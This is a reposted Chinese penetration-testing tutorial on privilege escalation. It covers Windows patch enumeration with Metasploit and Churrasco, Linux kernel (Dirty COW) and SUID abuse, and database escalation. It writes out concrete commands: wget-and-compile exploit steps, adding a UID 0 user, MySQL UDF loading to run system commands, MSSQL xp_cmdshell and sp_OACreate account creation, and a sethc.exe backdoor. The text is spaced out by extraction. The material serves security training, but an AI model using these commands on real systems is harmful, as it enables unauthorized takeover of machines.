搜索

[18399] 2021-08-03_渗透测试中的提权思路（详细！）

文档创建者：s7ckTeam
浏览次数：10
最后更新：2025-01-18
2021-08-03_渗透测试中的提权思路（详细！） 渗 透 测 试 中 的 提 权 思 路 （ 详 细 ！ ） J 0 1 n   H A C K 之 道   2 0 2 1 - 0 8 - 0 3 收 录 于 话 题 # 渗 透 测 试   , 7 # 提 权   , 2 提 权 提 权 W e b s h e l l ： ： 尽 量 能 够 获 取 w e b s h e l l ， 如 果 获 取 不 到 w e b s h e l l 可 以 在 有 文 件 上 传 的 地 方 上 传 反 弹 s h e l l 脚 本 ； 或 者 利 用 漏 洞 （ 系 统 漏 洞 ， 服 务 器 漏 洞 ， 第 三 方 软 件 漏 洞 ， 数 据 库 漏 洞 ） 来 获 取 s h e l l 。 反 弹 反 弹 s h e l l ： ： 利 用 k a l i 虚 拟 机 m s f V E N O M 编 写 反 弹 s h e l l 脚 本 被 控 制 端 发 起 的 s h e l l - - - 通 常 用 于 被 控 制 端 因 防 火 墙 受 限 ， 权 限 不 足 、 端 口 被 占 用 开 启 监 听 ： 开 启 监 听 ： m s f c o n s o l e 模 块 监 听 响 应 的 反 弹 s h e l l 脚 本 （ 当 靶 机 点 击 脚 本 的 时 候 ） ， 进 入 m e t e r p r e t e r 模 块 ， 可 以 g e t s y s t e m 权 限 ， 获 取 信 息 等 等 ， 还 可 以 开 启 远 程 服 务 功 能 （ l c x ， s c o c k s 5 ） W i n d o w s 系 统 漏 洞 提 权 思 路 系 统 漏 洞 提 权 思 路 - - - w i n d o w s ( 可 执 行 文 件 ： 一 种 是 . c o m ； 另 一 种 . e x e ) 系 统 溢 出 漏 洞 操 作 说 明 1 、 明 确 漏 洞 编 号 及 版 本 2 、 明 确 漏 洞 利 用 平 台 及 版 本 3 、 确 保 c m d 执 行 权 限 正 常 运 行 4 、 确 保 服 务 器 相 关 防 护 软 件 情 况
查 看 系 统 补 丁 ， 提 权 前 期 准 备 【 前 提 已 获 取 w e b s h e l l 】 方 法 一 ： 输 入 s h e l l 进 入 到 该 主 机 的 s h e l l 下 ， 然 后 ： s y s t e m i n f o   查 看 系 统 详 细 信 息 方 法 二 ： 进 入 到   m e t e r p r e t e r   下 ， 执 行   r u n   p o s t / w i n d o w s / g a t h e r / e n u m _ p a t c h e s   可 以 直 接 查 看 补 丁 情 况 方 法 三 ： p o s t / m u l t i / r e c o n / l o c a l _ e x p l o i t _ s u g g e s t e r   模 块 ， 用 于 快 速 识 别 系 统 中 可 能 被 利 用 的 漏 洞 方 法 四 ： W M I C 命 令 也 可 以 查 看 补 丁 数 量 w m i c   q f e   g e t   C a p t i o n , D e s c r i p t i o n , H o t F i x I D , I n s t a l l e d O n 也 可 以 直 接 找 是 否 存 在 某 个 c v e - 2 0 1 8 - 8 1 2 0 对 应 的 K B 4 1 3 1 1 8 8 补 丁 w m i c   q f e   g e t   C a p t i o n , D e s c r i p t i o n , H o t F i x I D , I n s t a l l e d O n   |   f i n d s t r   / C : " K B 4 1 3 1 1 8 8 " 方 法 五 ： W i n d o w s   E x p l o i t   S u g g e s t e r 该 工 具 可 以 将 系 统 中 已 经 安 装 的 补 丁 程 序 与 微 软 的 漏 洞 数 据 库 进 行 比 较 ， 并 可 以 识 别 可 能 导 致 权 限 提 升 的 漏 洞 ， 而 其 只 需 要 目 标 系 统 的 信 息 。 通 过 m s f 生 成 反 弹 e x e 进 行 反 弹 操 作 ， 获 取 m e t e r p r e t e r 通 道 监 听 获 取 成 功 后 ， 进 行 e x p 的 筛 选 探 测 可 提 取 的 模 块 u s e   p o s t / m u l t i / r e c o n / l o c a l _ e x p l o i t _ s u g g e s t e r w i n d o w s 系 统 漏 洞 示 例 系 统 漏 洞 示 例 根 据 s y s t e m i n f o 查 看 补 丁 信 息 ， 发 现 未 打 上 相 应 的 补 丁 k b 9 5 2 0 0 4 、 K B 9 5 6 5 7 2 ， 于 是 利 用 上 传 巴 西 烤 肉 （ C h u r r a s c o . e x e ） e x p 提 权 ， C h u r r a s c o . e x e 是 W i n d o w s 2 0 0 3 系 统 下 的 一 个 本 地 提 权 漏 洞 ， 通 过 此 工 具 可 以 以 S Y S T E M 权 限 执 行 命 令 ， 从 而 可 以 达 到 添 加 用 户 的 目 的 。 由 于 低 权 限 用 户 无 法 执 行 太 多 操 作 ， 可 以 利 用 反 弹 上 传 C h u r r a s c o . e x e ， 后 续 可 以 利 用 它 来 做 提 权 。 添 加 用 户 以 及 加 入 管 理 员 组 ， 方 便 我 们 提 高 操 作 权 限 。
输 入 n e t   u s e r 指 令 查 看 是 否 添 加 成 功 ， 最 后 提 权 成 功 。 l i n u x 系 统 提 权 思 路 系 统 提 权 思 路 l i n u x 基 础 信 息 收 集 基 础 信 息 收 集
u n a m e   - a   显 示 全 部 系 统 信 息 c a t   / e t c / i s s u e   内 核 信 息 。 此 命 令 也 适 用 于 所 有 的 L i n u x 发 行 版 c a t   / e t c / p a s s w d   所 有 人 都 可 看 p s   a u x   |   g r e p   r o o t ( 1 ) # 内 核 漏 洞 提 权 内 核 漏 洞 提 权 方 法 ： 通 过 信 息 收 集 方 式 得 知 l i n u x 内 核 版 本 使 用 s e a r c h s p o l i t 搜 索 相 应 版 本 漏 洞 例 ： s e a r c h s p l o i t   l i n u x   4 . 0 . 0 s e a r c h s p l o i t   U b u n t u   1 6 . 0 4 s e a r c h s p l o i t   U b u n t u   1 6   k e r n e l   3 . 1 0 找 到 对 应 的 . c 源 文 件 , 将 其 发 送 到 靶 机 / 或 是 靶 机 下 载   s c p ，   w g e t   h t t p : / / 1 2 7 . 0 . 0 . 1 / x x . c 编 译 ， g c c   x x x . c   - o   e x p ( 2 ) # S U I D 提 权 提 权 概 念 S U I D （ 设 置 用 户 I D ） 是 赋 予 文 件 的 一 种 权 限 ， 它 会 出 现 在 文 件 拥 有 者 权 限 的 执 行 位 上 ， 具 有 这 种 权 限 的 文 件 会 在 其 执 行 时 ， 使 调 用 者 暂 时 获 得 该 文 件 拥 有 者 的 权 限 。 特 点 S U I D   权 限 仅 对 二 进 制 程 序 有 效 执 行 者 对 于 该 程 序 需 要 有 可 执 行 权 限 ( x 权 限 ) S U I D   权 限 仅 仅 在 程 序 执 行 过 程 中 有 效 执 行 该 程 序 时 ， 执 行 者 将 具 有 该 程 序 拥 有 者 的 权 限 首 先 在 本 地 查 找 符 合 条 件 的 文 件 ， 有 以 下 三 个 命 令 列 出 来 的 所 有 文 件 都 是 以 r o o t 用 户 权 限 来 执 行 的 ， 接 下 来 找 到 可 以 提 权 的 文 件 f i n d   /   - u s e r   r o o t   - p e r m   - 4 0 0 0   - p r i n t   2 > / d e v / n u l l f i n d   /   - p e r m   - u = s   - t y p e   f   2 > / d e v / n u l l f i n d   /   - u s e r   r o o t   - p e r m   - 4 0 0 0   - e x e c   l s   - l d b   { }   ; 常 用 的 可 用 于 s u i d 提 权 的 文 件 N m a p 、 V i m 、 f i n d 、 B a s h 、 M o r e 、 L e s s 、 c p ( 3 ) # n m a p 提 权 提 权 较 旧 版 本 的 N m a p （ 2 . 0 2 至 5 . 2 1 ） 带 有 交 互 模 式 ， 从 而 允 许 用 户 执 行 s h e l l 命 令 。 因 此 可 以 使 用 交 互 式 控 制 台 来 运 行 具 有 相 同 权 限 的 s h e l l 。 方 法 一 ： 启 动 交 互 模 式 ， 使 用 n m a p   - - i n t e r a c t i v e ! s h   # 执 行 之 后 将 提 供 一 个 提 权 后 的 s h e l l 。 方 法 二 ：
M e t a s p l o i t 模 块 ， 也 可 以 通 过 S U I D   N m a p 二 进 制 文 件 进 行 提 权 。 e x p l o i t / u n i x / l o c a l / s e t u i d _ n m a p ( 4 ) # f i n d 提 权 提 权 实 用 程 序 f i n d 用 来 在 系 统 中 查 找 文 件 。 同 时 ， 它 也 有 执 行 命 令 的 能 力 。 因 此 ， 如 果 配 置 为 使 用 S U I D 权 限 运 行 ， 则 可 以 通 过 f i n d 执 行 的 命 令 都 将 以 r o o t 身 份 去 运 行 。 ( 5 ) # s u d o 提 权 提 权 s u d o 命 令 以 系 统 管 理 者 的 身 份 执 行 指 令 ， 也 就 是 说 ， 经 由   s u d o   所 执 行 的 指 令 就 好 像 是   r o o t   亲 自 执 行 。 s u d o   表 示   “ s u p e r u s e r   d o ” 。 它 允 许 已 验 证 的 用 户 以 其 他 用 户 的 身 份 来 运 行 命 令 。 其 他 用 户 可 以 是 普 通 用 户 或 者 超 级 用 户 。 然 而 ， 大 部 分 时 候 我 们 用 它 来 以 提 升 的 权 限 来 运 行 命 令 。 l i n u x 内 核 提 权 示 例 内 核 提 权 示 例 1 . 使 用 n c 或 l c x 反 弹 到 攻 击 者 的 电 脑 2 . 使 用   u n a m e   – a   查 看 L i n u x   版 本 内 核 等 系 统 信 息 3 . 在 e x p l o i t 库 中 寻 找 相 应 系 统 版 本 和 内 核 的 漏 洞 利 用 模 块 。 （ w w w . e x p l o i t - d b . c o m ） 4 . 上 传 e x p 到 目 标 服 务 器 中 ， c h m o d   7 7 7 赋 予 e x p 权 限 ， 需 要 进 行 编 译 的 先 进 行 编 译 。 5 . 提 权 后 便 可 以 添 加 s s h 用 户   （ u s e r a d d   - o   - u   0   - g   0   u s e r n a m e ） 通 过 w e b s h e l l 上 传 f t . p l ， 为 了 等 下 的 反 弹 s h e l l 系 统 信 息 收 集 U n a m e   - a 显 示 的 版 本 内 核 为 （ 2 . 6 . 2 4 > 2 . 6 . 2 2 ） ， 可 能 存 在 脏 牛 漏 洞 f t . p l 文 件 反 弹 s h e l l
K a l i 开 启 监 听 编 译 d i r t y . c 文 件 ， 生 成 一 个 可 执 行 的 E X P ， 运 行 . / d i r t y   s u 1 2 3 （ 密 码 ） 生 成 账 号 f i r e f a r t ， 密 码 s u 1 2 3
新 生 成 的 管 理 员 用 户 f i r e f a r t 把 原 来 的 r o o t 用 户 替 换 掉 了 （ r o o t - - - > f i r e f a r t ） 可 以 通 过 s s h 连 接 数 据 库 提 权 思 路 数 据 库 提 权 思 路 数 据 库 获 取 网 站 数 据 库 的 账 号 和 密 码 - - 通 过 读 取 一 些 数 据 库 配 置 文 件 数 据 库 配 置 文 件 ： 命 令 规 则 （ d a t a 、 s q l 、 i n c 、 c o n f i g 、 c o n n 、 d a t a b a s e 等 ） - - 通 过 m y s q l 数 据 库 的 u s e r 表 数 据 库 安 装 文 件 ： 安 装 目 录 下 d a t a / m y s q l / u s e r . m y d
f r m : 描 述 表 结 构 文 件 ， 字 段 长 度 m y i ： 索 引 信 息 m y d ： 数 据 库 信 息 文 件 ， 存 储 数 据 信 息 ( 1 ) m y s q l 数 据 库 数 据 库 — — u d f 提 权 提 权 u d f 文 件 : u d f ( u s e r - d e f i n e d - f u n c t i o n ) 是 m y s q l 得 一 个 拓 展 接 口 ， 也 称 为 用 户 自 定 义 函 数 ， 用 户 通 过 自 定 义 函 数 来 实 现 在 m y s q l 中 无 法 方 便 实 现 得 功 能 u d f 文 件 后 缀 名 :   . d l l （ w i n d o w s ） l i n u x 后 缀 名 ： . s o 提 权 原 理 提 权 原 理 已 知 r o o t 账 号 和 密 码 ， 利 用 r o o t 权 限 ， 创 建 带 有 调 用 c m d 函 数 的 “ u d f . d l l ” 。 当 我 们 把 u d f . d l l 导 出 指 定 文 件 夹 引 入 m y s q l 时 候 ， 其 中 的 调 用 函 数 拿 出 来 当 作 m y s q l 函 数 来 使 用 注 意 事 项 m y s q l 版 本 小 于 5 . 1 版 本 ， u d f . d l l 文 件 在 w i n d o w s 2 0 0 3 下 放 在 ： c : w i n d o w s s y s t e m 3 2 。 在 w i n d o w s 2 0 0 0 放 在 ： c : w i n n t s y s t e m 3 2 m y s q l 版 本 大 于 5 . 1 版 本 ， u d f . d l l 文 件 必 须 放 置 在 m y s q l 安 装 目 录 下 的 l i b p l u g i n 。 但 是 大 于 5 . 1 版 本 的 时 候 没 有 p l u g i n 这 个 文 件 夹 ， 需 要 自 己 创 建 。 利 用 u d f 文 件 加 载 函 数 执 行 命 令 c r e a t e   f u n c t i o n   c m d s h e l l   r e t u r n s   s t r i n g   s o n a m e   ' u d f . d l l ' ;   / / r e t u r n s   s t r i n g   s o n a m e   ‘ 导 出 的 D L L 路 径 ’ ； s e l e c t   c m d s h e l l ( ' n e t   u s e r   n d s e c   n d s e c p w   / a d d ' ) ; s e l e c t   c m d s h e l l ( ' n e t   l o c a l g r o u p   a d m i n i s t r a t o r s   n d s e c   / a d d ' ) ; d r o p   f u n c t i o n   c m d s h e l l ; ( 2 ) # 数 据 库 提 权 数 据 库 提 权 — — m o f 提 权 提 权 m o f 文 件 : m o f 文 件 是 m y s q l 数 据 库 的 扩 展 文 件 存 放 路 径 （ C : / w i n d o w s / s y s t e m 3 2 / w b e m / m o f / n u l l e v t . m o f ） 其 作 用 是 每 隔 5 秒 就 会 去 监 控 进 程 创 建 和 死 亡 。 提 权 条 件 1 、 w i n d o w s 2 0 0 3 及 以 下 2 、 m y s q l 启 动 身 份 具 有 权 限 去 读 写 C : / w i n d o w s / s y s t e m 3 2 / w b e m / m o f / 目 录 3 、 s e c u r e - f i l e - p r i v = 不 为 n u l l 提 权 原 理 m o f 文 件 每 5 秒 就 会 执 行 ， 而 且 是 系 统 权 限 ， 我 们 可 以 通 过 l o a d _ f i l e 将 文 件 写 入 / w b m e / m o f ， 然 后 系 统 每 5 秒 就 会 执 行 一 次 我 们
上 传 的 m o f m o f 当 中 是 一 段 v b s 脚 本 ， 通 过 通 过 控 制 v b s 脚 本 让 系 统 执 行 命 令 ， 进 行 提 权 。 ( 3 ) # 数 据 库 提 权 数 据 库 提 权 — — 反 弹 端 口 提 权 反 弹 端 口 提 权 提 权 条 件 1 、 获 取 数 据 库 的 账 号 和 密 码 ， 同 时 能 够 执 行 查 询 命 令 。 2 、 s e c u r e _ f i l e _ p r i v = , 可 导 出 u d f . d l l 到 系 统 目 录 或 者 m y s q l 数 据 库 安 装 目 录 下 的 l i b 下 p l u g i n 3 、 授 权 m y s q l 数 据 库 远 程 用 户 的 登 录 ( 4 ) # 数 据 库 提 权 数 据 库 提 权 — — 启 动 项 提 权 启 动 项 提 权   ( 这 种 方 法 不 推 荐 这 种 方 法 不 推 荐 ) 提 权 原 理 使 用 m y s q l 写 文 件 ， 写 一 段 v b s 代 码 到 开 启 自 启 动 中 。 服 务 器 重 启 的 时 候 达 到 创 建 用 户 并 提 取 。 可 以 使 用 D D O S 迫 使 服 务 器 重 启 提 权 条 件 s e c u r e _ f i l e _ p r i v 不 为 n u l l 已 知 账 号 和 密 码 ( 5 ) l i n u x 系 统 系 统 - u d f 提 权 提 权 上 传 脚 本 进 行 监 听 靶 机 连 接 数 据 库 查 看 版 本 u s e   m y s q l ; c r e a t e   t a b l e   f o o ( l i n e   b l o b ) ; i n s e r t   i n t o   f o o   v a l u e s ( l o a d _ f i l e ( ' / t m p / r a p t o r _ u d f 2 . s o ' ) ) ; s e l e c t   *   f r o m   f o o   i n t o   d u m p f i l e   ' / u s r / l i b / m y s q l / p l u g i n / r a p t o r _ u d f 2 . s o ' ; c r e a t e   f u n c t i o n   d o _ s y s t e m   r e t u r n s   i n t e g e r   s o n a m e   ' r a p t o r _ u d f 2 . s o ' ; s e l e c t   d o _ s y s t e m ( ' c h m o d   u + s   / u s r / b i n / f i n d ' ) ; f i n d   /   - e x e c   " / b i n / s h "   ; m s s q l 数 据 库 S A 权 限 执 行 命 令 存 储 过 程 ： x p _ c m s h e l l 、 s p _ O A C r e a t e 注 册 表 存 储 过 程 ： x p _ r e g w r i t e 存 储 过 程 其 实 质 就 是 一 个 “ 集 合 ” 。 它 就 是 存 储 在 s q l s e r v e r 中 预 先 定 义 好 的 “ s q l 语 句 集 合 。 ” 使 用 T - S Q L 语 言 编 写 好 的 各 种 小 脚 本 共 同 组 合 成 的 集 合 体 ， 我 们 就 称 为 “ 存 储 过 程 ” 利 用 利 用 x p _ c m d s h e l l 提 权 提 权 （ （ 1 ） ） x p _ c m d s h e l l 解 释 解 释
X p _ c m d s h e l l 是 s q l s e r v e r 中 的 组 件 ， 可 以 以 操 作 系 统 命 令 解 释 器 的 方 式 执 行 给 定 的 命 令 字 符 串 ， 并 以 文 本 行 方 式 返 回 任 何 输 出 。 可 以 用 来 执 行 系 统 命 令 （ （ 2 ） ） x p _ c m d s h e l l 开 启 开 启 默 认 在 s q l   s e r v e r 2 0 0 0 中 是 开 启 的 ， 在 s q l s e r v e r 2 0 0 5 之 后 的 版 本 默 认 禁 止 。 如 果 我 们 有 s a 权 限 ， 可 以 用 命 令 开 启 e x e c   s p _ c o n f i g u r e   ‘ s h o w   a d v a n c e d   o p t i o n s ’   ,   1 ; r e c o n f i g u r e ; e x e c   s p _ c o n f i g u r e   ‘ x p _ c m d s h e l l ’ ,   1 ; r e c o n f i g u r e ; x p _ c m d s h e l l   关 闭 e x e c   s p _ c o n f i g u r e   ' s h o w   a d v a n c e d   o p t i o n s ' , 1 ; r e c o n f i g u r e ; e x e c   s p _ c o n f i g u r e   ' o l e   a u t o m a t i o n   p r o c e d u r e s ' , 0 ; r e c o n f i g u r e ; e x e c   s p _ c o n f i g u r e   ' s h o w   a d v a n c e d   o p t i o n s ' , 0 ; r e c o n f i g u r e ; （ （ 3 ） 当 ） 当 x p _ c m d s h e l l 删 除 或 出 错 的 情 况 下 ， 使 用 删 除 或 出 错 的 情 况 下 ， 使 用 s p _ O A C r e a t e 组 件 组 件 开 启 组 件 S P _ O A C r e a t e e x e c   s p _ c o n f i g u r e   ' s h o w   a d v a n c e d   o p t i o n s ' , 1 ; r e c o n f i g u r e ; e x e c   s p _ c o n f i g u r e   ' o l e   a u t o m a t i o n   p r o c e d u r e s ' , 1 ; r e c o n f i g u r e ; 关 闭 组 件 S P _ O A C r e a t e e x e c   s p _ c o n f i g u r e   ' s h o w   a d v a n c e d   o p t i o n s ' , 1 ; r e c o n f i g u r e ; e x e c   s p _ c o n f i g u r e   ' o l e   a u t o m a t i o n   p r o c e d u r e s ' , 0 ; r e c o n f i g u r e ; e x e c   s p _ c o n f i g u r e   ' s h o w   a d v a n c e d   o p t i o n s ' , 0 ; r e c o n f i g u r e ; 利 用 S P _ O A C r e a t e 添 加 用 户 提 权 d e c l a r e   @ s h e l l   i n t   e x e c   s p _ o a c r e a t e   ' w s c r i p t . s h e l l ' , @ s h e l l   o u t p u t   e x e c   s p _ o a m e t h o d   @ s h e l l , ' r u n ' , n u l l , ' c : w i n d o w s s y s t e m 3 2 c m d . e x e   / c   n e t u s e r   q u a n   1 2 3 4 5 6   / a d d ' d e c l a r e   @ s h e l l   i n t   e x e c   s p _ o a c r e a t e   ' w s c r i p t . s h e l l ' , @ s h e l l   o u t p u t   e x e c   s p _ o a m e t h o d   @ s h e l l , ' r u n ' , n u l l , ' c : w i n d o w s s y s t e m 3 2 c m d . e x e   / c   n e t l o c a l g r o u p   a d m i n i s t r a t o r s   q u a n   / a d d ' 利 用 S P _ O A C r e a t e 的 其 他 操 作 s p _ O A C r e a t e 替 换 粘 贴 键 d e c l a r e   @ o   i n t e x e c   s p _ o a c r e a t e   ' s c r i p t i n g . f i l e s y s t e m o b j e c t ' ,   @ o   o u t e x e c s p _ o a m e t h o d @ o , ' c o p y f i l e ' , n u l l , ' c : w i n d o w s e x p l o r e r . e x e '   , ' c : w i n d o w s s y s t e m 3 2 s e t h c . e x e ' ; d e c l a r e   @ o   i n t e x e c   s p _ o a c r e a t e   ' s c r i p t i n g . f i l e s y s t e m o b j e c t ' ,   @ o   o u t e x e c s p _ o a m e t h o d @ o , ' c o p y f i l e ' , n u l l , ' c : w i n d o w s s y s t e m 3 2 s e t h c . e x e '   , ' c : w i n d o w s s y s t e m 3 2 d l l c a c h e s e t h c . e x e ' ; （ （ 4 ） 使 用 注 册 表 存 储 过 程 ： ） 使 用 注 册 表 存 储 过 程 ： x p _ r e g w r i t e u d f 提 权 示 例 提 权 示 例
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理